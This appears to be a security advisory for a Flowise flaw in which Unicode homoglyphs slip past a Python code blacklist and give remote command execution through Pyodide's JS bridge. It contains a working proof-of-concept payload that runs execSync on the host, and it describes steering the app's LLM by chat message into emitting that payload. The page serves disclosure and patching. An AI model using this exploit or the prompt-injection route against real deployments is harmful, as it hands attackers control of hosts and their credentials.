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GHSA-52fh-8v99-63c2 CVE-2026-70470

Flowise: Pyodide validator Unicode homoglyph bypass leads to RCE

Critical npm
Severity
0.0 / 10
Critical · CVSS 4.0
Exploit chance (EPSS)
0.97%
Chance of exploitation in the next 30 days. Higher than 61.97% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-184 Incomplete List of Disallowed Inputs
Fix
Available
2 packages have a fixed version

Description

Summary

The validatePythonCodeForDataFrame blacklist in packages/components/src/pythonCodeValidator.ts can be bypassed with Unicode homoglyph identifiers, allowing arbitrary Python execution inside Pyodide and full OS command execution on the Flowise host via Pyodide's js module interop. This reopens the RCE paths patched as GHSA-3hjv-c53m-58jj (CSV Agent) and GHSA-v38x-c887-992f (Airtable Agent).

Details

packages/components/src/pythonCodeValidator.ts gates every call to pyodide.runPythonAsync in packages/components/nodes/agents/CSVAgent/CSVAgent.ts (lines 147, 198) and packages/components/nodes/agents/AirtableAgent/AirtableAgent.ts (line 186). The gate is a regex blacklist:

{ pattern: /\bimport\b/g, ... },
{ pattern: /\b__class__\b/g, ... },
{ pattern: /\b__subclasses__\s*\(/g, ... },
{ pattern: /\b__builtins__\b/g, ... },
{ pattern: /\b__mro__\b/g, ... },
// ... about 30 similar rules

Two design flaws combine into a bypass:

  1. JavaScript regex \b is ASCII-only. Word boundaries are computed against the ASCII word class [A-Za-z0-9_]. A Unicode letter such as U+1D41A (mathematical bold small a) is treated as a non-word character, so \b__class__\b never matches __cl𝐚ss__.
  2. Python 3 (PEP 3131) NFKC-normalizes every identifier at parse time. __cl𝐚ss__, __subcl𝐚sses__, __b𝐚se__, __b𝐮iltins__, and similar homoglyph forms are all parsed as their ASCII equivalents.

Attribute access obj.__cl𝐚ss__ is normalized because attribute names are identifiers. Dict string keys such as bi['__import__'] are not normalized, but they are free text and can be assembled with chr() to avoid literal matches on patterns like \bimport\b or \b__import__\s*\(/.

From inside Pyodide, __builtins__['__import__']('js') yields the JS host bridge. In the Node.js host that runs Flowise, that bridge exposes process.mainModule.require('child_process').execSync, which runs native commands on the host with the privileges of the Flowise process.

Affected call sites:

  • packages/components/nodes/agents/CSVAgent/CSVAgent.ts:147 validates customReadCSV (node-config-controlled, interpolated into the read-CSV script on line 167) and 198 validates the LLM-generated pythonCode before it reaches pyodide.runPythonAsync(code) on line 209.
  • packages/components/nodes/agents/AirtableAgent/AirtableAgent.ts:186 validates the LLM-generated pythonCode before pyodide.runPythonAsync on line 197.

The original patches for GHSA-3hjv-c53m-58jj (commit a24acac, PR #5701) and a24acac's follow-up (commit 0c8236a, PR #5836) rely entirely on this validator. Because the validator is bypassable, both advisories are effectively reintroduced in 3.1.2.

PoC

Standalone reproduction that mirrors the exact code paths in CSVAgent.ts / AirtableAgent.ts. It feeds a malicious pythonCode to the real validator, confirms the validator returns valid: true, then runs the same string through Pyodide and prints the output of a native command executed on the host:

// npm install pyodide
const { loadPyodide } = require('pyodide')

const FORBIDDEN_PATTERNS = [
  { pattern: /\bfrom\s+\S+\s+import\b/g }, { pattern: /\bimport\b/g },
  { pattern: /\beval\s*\(/g }, { pattern: /\bexec\s*\(/g },
  { pattern: /\bcompile\s*\(/g }, { pattern: /\b__import__\s*\(/g },
  { pattern: /\bopen\s*\(/g }, { pattern: /\bgetattr\s*\(/g },
  { pattern: /\bos\./g }, { pattern: /\bsubprocess\./g },
  { pattern: /\bsys\./g }, { pattern: /\bsocket\./g },
  { pattern: /\burllib\./g }, { pattern: /\brequests\./g },
  { pattern: /\b__builtins__\b/g }, { pattern: /\b__class__\b/g },
  { pattern: /\b__subclasses__\s*\(/g }, { pattern: /\b__bases__\b/g },
  { pattern: /\b__mro__\b/g }, { pattern: /\b__globals__\b/g },
  { pattern: /\b__code__\b/g }, { pattern: /\b__dict__\b/g },
]
const validate = (code) => FORBIDDEN_PATTERNS.every(p => { p.pattern.lastIndex = 0; return !p.pattern.test(code) })

const payload = `
cls = ().__cl\u{1D41A}ss__
base = cls.__b\u{1D41A}se__
subs = base.__subcl\u{1D41A}sses__()
for c in subs:
    if c.__name__ == 'catch_warnings':
        cw = c()
        bi = cw._module.__b\u{1D42E}iltins__
        imp_name = chr(95)*2 + 'imp' + 'ort' + chr(95)*2
        imp = bi[imp_name]
        js_mod = imp(chr(106)+chr(115))
        cp_name = 'child' + chr(95) + 'process'
        cp = js_mod.process.mainModule.require(cp_name)
        opts = js_mod.Object.new(); opts.encoding = 'utf8'
        result = cp.execSync('id && hostname && echo FLOWISE_RCE_CONFIRMED', opts)
        break
str(result)
`

;(async () => {
  console.log('validator passes:', validate(payload))   // true
  const py = await loadPyodide()
  console.log(await py.runPythonAsync(payload))
})()

Run output on a stock host:

validator passes: true
uid=0(root) gid=0(root) groups=0(root)
<hostname>
FLOWISE_RCE_CONFIRMED

Live path against a Flowise deployment:

  1. Workspace user (or any user able to reach a public CSV Agent chatflow) opens a chatflow containing CSV_Agent or Airtable_Agent.
  2. For the LLM-generated path: send a chat message via POST /api/v1/prediction/{chatflowId} that instructs the model to answer in Python using mathematical bold letters for __class__, __subclasses__, __base__, and __builtins__, following the structure above. The model's output is regex-validated (passes), then executed by Pyodide, giving RCE on the host.
  3. For the direct path: a workspace user with chatflow edit rights sets customReadCSV to the payload above. Every subsequent prediction hits CSVAgent.ts:171 and runs the attacker-controlled code on the host.

Impact

Any user able to reach a chatflow that uses CSV_Agent or Airtable_Agent, including unauthenticated users on public chatflows, can run arbitrary OS commands as the Flowise process on the host. That yields read/write access to every credential and file the Flowise process can reach, pivot into the internal network, and full compromise of multi-tenant workspaces that share the same server. The prior advisories GHSA-3hjv-c53m-58jj and GHSA-v38x-c887-992f were scored 9.8 critical for the same reachable sink; this finding restores that impact in version 3.1.2.

Affected versions

npm

PackageVulnerableFixed in
flowise
< 3.1.3
3.1.3
flowise-components
< 3.1.3
3.1.3

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

flowise npm → 3.1.3

npm
npm install flowise@3.1.3
yarn
yarn add flowise@3.1.3
pnpm
pnpm add flowise@3.1.3

flowise-components npm → 3.1.3

npm
npm install flowise-components@3.1.3
yarn
yarn add flowise-components@3.1.3
pnpm
pnpm add flowise-components@3.1.3

Severity breakdown

CVSS 4.0 0.0

CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Attack vector
Network
Attack complexity
High
Attack requirements
None
Privileges required
None
User interaction
None
Confidentiality (vulnerable system)
High
Integrity (vulnerable system)
High
Availability (vulnerable system)
High
Confidentiality (subsequent systems)
High
Integrity (subsequent systems)
High
Availability (subsequent systems)
High

CVSS 3.1 9.8

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Weakness

CWE-184: Incomplete List of Disallowed Inputs

The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete.

How to prevent it
  • Implementation: Do not rely exclusively on detecting disallowed inputs. There are too many variants to encode a character, especially when different environments are used, so there is a high likelihood of missing some variants. Only use detection of disallowed inputs as a mechanism for detecting suspicious activity. Ensure that you are using other protection mechanisms that only identify "good" input - such as lists of allowed inputs - and ensure that you are properly encoding your outputs.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-w7x8-q2gp-5cgg
Flowise Prompt Injection to RCE and SSRF via CSV/Airtable Agent Python Validator Bypass
Critical Also affects flowise
GHSA-9gvv-qjj3-2p6g
Flowise NodeVM sandbox escape via puppeteer allowlist - authenticated RCE and arbitrary file read via Chromium
High Also affects flowise
GHSA-qgvm-j2hm-6m38
Flowise: Unauthenticated OAuth2 token refresh endpoint returns access tokens — enables token theft for any connected service
Critical Also affects flowise
GHSA-5xvg-pmgg-3mxr
Flowise: CSV Agent Prompt Injection Remote Code Execution Vulnerability
Critical Also affects flowise
GHSA-gmmw-qg98-6j6p
Flowise: Broken Access Control in Stripe Subscription Endpoints Allows Cross-Tenant Billing Manipulation
High Also affects flowise
GHSA-8gj2-2cvc-6xx7
Flowise: Unauthenticated Credential Abuse via Text-to-Speech Endpoint Allows Unauthorized Use of Private Chatflow TTS Credentials
Medium Also affects flowise
GHSA-fm2f-4339-4p2f
Flowise: Missing Authorization on Execution Update Endpoint
Medium Also affects flowise
GHSA-wch5-xp77-fxg4
Flowise: Cross-Workspace OAuth2 Credential Metadata Leak
High Also affects flowise
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